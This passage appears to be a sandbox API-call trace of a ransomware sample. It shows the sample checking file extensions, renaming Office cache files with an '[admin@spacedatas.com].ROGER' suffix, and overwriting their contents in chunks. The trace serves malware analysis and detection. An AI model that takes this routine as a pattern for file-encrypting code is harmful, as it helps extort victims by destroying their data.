Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0047.979] lstrlenW (lpString=".jpg") returned 4 [0047.980] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0047.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0047.980] lstrlenW (lpString=".doc") returned 4 [0047.980] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.980] lstrlenW (lpString=".docx") returned 5 [0047.980] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0047.980] lstrlenW (lpString=".pdf") returned 4 [0047.980] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.980] lstrlenW (lpString=".xls") returned 4 [0047.980] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.980] lstrlenW (lpString=".xlsx") returned 5 [0047.980] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0047.980] lstrlenW (lpString=".ppt") returned 4 [0047.980] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0047.980] lstrlenW (lpString=".zip") returned 4 [0047.980] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.980] lstrlenW (lpString=".rar") returned 4 [0047.980] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.980] lstrlenW (lpString=".bz2") returned 4 [0047.980] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.980] lstrlenW (lpString=".7z") returned 3 [0047.980] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0047.980] lstrlenW (lpString=".dbf") returned 4 [0047.980] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0047.980] lstrlenW (lpString=".1cd") returned 4 [0047.980] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0047.980] lstrlenW (lpString=".jpg") returned 4 [0047.981] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.981] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0047.981] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0047.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.550] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=222948913) returned 1 [0048.550] CloseHandle (hObject=0x36c) returned 1 [0048.550] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0048.550] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.550] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0048.551] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.551] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0048.551] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.551] ReadFile (in: hFile=0x36c, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.555] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.556] ReadFile (in: hFile=0x36c, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.560] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.560] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.560] ReadFile (in: hFile=0x36c, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.574] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.574] WriteFile (in: hFile=0x36c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0048.590] SetEndOfFile (hFile=0x36c) returned 1 [0048.590] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f48010 [0048.593] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.593] WriteFile (in: hFile=0x36c, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.594] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.594] WriteFile (in: hFile=0x36c, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.596] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.596] WriteFile (in: hFile=0x36c, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.747] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0048.755] CloseHandle (hObject=0x36c) returned 1 [0049.091] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0049.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.519] lstrlenW (lpString=".doc") returned 4 [0049.519] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.519] lstrlenW (lpString=".docx") returned 5 [0049.519] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0049.519] lstrlenW (lpString=".pdf") returned 4 [0049.519] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.519] lstrlenW (lpString=".xls") returned 4 [0049.519] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.519] lstrlenW (lpString=".xlsx") returned 5 [0049.519] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0049.519] lstrlenW (lpString=".ppt") returned 4 [0049.519] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.519] lstrlenW (lpString=".zip") returned 4 [0049.519] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.519] lstrlenW (lpString=".rar") returned 4 [0049.519] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.519] lstrlenW (lpString=".bz2") returned 4 [0049.519] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.519] lstrlenW (lpString=".7z") returned 3 [0049.519] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.519] lstrlenW (lpString=".dbf") returned 4 [0049.519] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.519] lstrlenW (lpString=".1cd") returned 4 [0049.519] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.519] lstrlenW (lpString=".jpg") returned 4 [0049.519] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.520] lstrlenW (lpString=".doc") returned 4 [0049.520] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.520] lstrlenW (lpString=".docx") returned 5 [0049.520] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0049.520] lstrlenW (lpString=".pdf") returned 4 [0049.520] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.520] lstrlenW (lpString=".xls") returned 4 [0049.520] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.520] lstrlenW (lpString=".xlsx") returned 5 [0049.520] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0049.520] lstrlenW (lpString=".ppt") returned 4 [0049.520] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.520] lstrlenW (lpString=".zip") returned 4 [0049.520] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.520] lstrlenW (lpString=".rar") returned 4 [0049.520] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.520] lstrlenW (lpString=".bz2") returned 4 [0049.520] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.520] lstrlenW (lpString=".7z") returned 3 [0049.520] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.520] lstrlenW (lpString=".dbf") returned 4 [0049.520] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.520] lstrlenW (lpString=".1cd") returned 4 [0049.520] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.520] lstrlenW (lpString=".jpg") returned 4 [0049.520] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.521] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0049.521] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0049.521] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0051.057] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=36233052) returned 1 [0051.057] CloseHandle (hObject=0x3ac) returned 1 [0051.057] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0051.057] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.057] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0051.089] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0051.089] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0051.089] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.089] ReadFile (in: hFile=0x3ac, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.093] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.093] ReadFile (in: hFile=0x3ac, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.098] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.098] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.098] ReadFile (in: hFile=0x3ac, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.113] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.113] WriteFile (in: hFile=0x3ac, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0051.339] SetEndOfFile (hFile=0x3ac) returned 1 [0051.339] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f38008 [0051.339] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0051.339] WriteFile (in: hFile=0x3ac, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.339] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0051.340] WriteFile (in: hFile=0x3ac, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.340] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0051.340] WriteFile (in: hFile=0x3ac, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.342] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f38008 | out: hHeap=0x790000) returned 1 [0051.342] CloseHandle (hObject=0x3ac) returned 1 [0051.342] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.343] lstrlenW (lpString=".doc") returned 4 [0051.343] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString=".docx") returned 5 [0051.343] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0051.343] lstrlenW (lpString=".pdf") returned 4 [0051.343] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString=".xls") returned 4 [0051.343] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString=".xlsx") returned 5 [0051.343] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0051.343] lstrlenW (lpString=".ppt") returned 4 [0051.343] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.343] lstrlenW (lpString=".zip") returned 4 [0051.343] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString=".rar") returned 4 [0051.343] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString=".bz2") returned 4 [0051.343] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.343] lstrlenW (lpString=".7z") returned 3 [0051.343] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.343] lstrlenW (lpString=".dbf") returned 4 [0051.343] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.343] lstrlenW (lpString=".1cd") returned 4 [0051.343] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.343] lstrlenW (lpString=".jpg") returned 4 [0051.343] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.343] lstrlenW (lpString=".doc") returned 4 [0051.344] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.344] lstrlenW (lpString=".docx") returned 5 [0051.344] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0051.344] lstrlenW (lpString=".pdf") returned 4 [0051.344] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.344] lstrlenW (lpString=".xls") returned 4 [0051.344] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.344] lstrlenW (lpString=".xlsx") returned 5 [0051.344] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0051.344] lstrlenW (lpString=".ppt") returned 4 [0051.344] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.344] lstrlenW (lpString=".zip") returned 4 [0051.344] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.344] lstrlenW (lpString=".rar") returned 4 [0051.344] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.344] lstrlenW (lpString=".bz2") returned 4 [0051.344] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.344] lstrlenW (lpString=".7z") returned 3 [0051.344] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.344] lstrlenW (lpString=".dbf") returned 4 [0051.344] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.344] lstrlenW (lpString=".1cd") returned 4 [0051.344] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.344] lstrlenW (lpString=".jpg") returned 4 [0051.344] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.344] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0051.344] lstrlenW (lpString="setup.exe") returned 9 [0051.344] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0051.345] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=1377656) returned 1 [0051.345] CloseHandle (hObject=0x3ac) returned 1 [0051.345] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0051.345] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.345] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0051.345] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.345] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.345] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 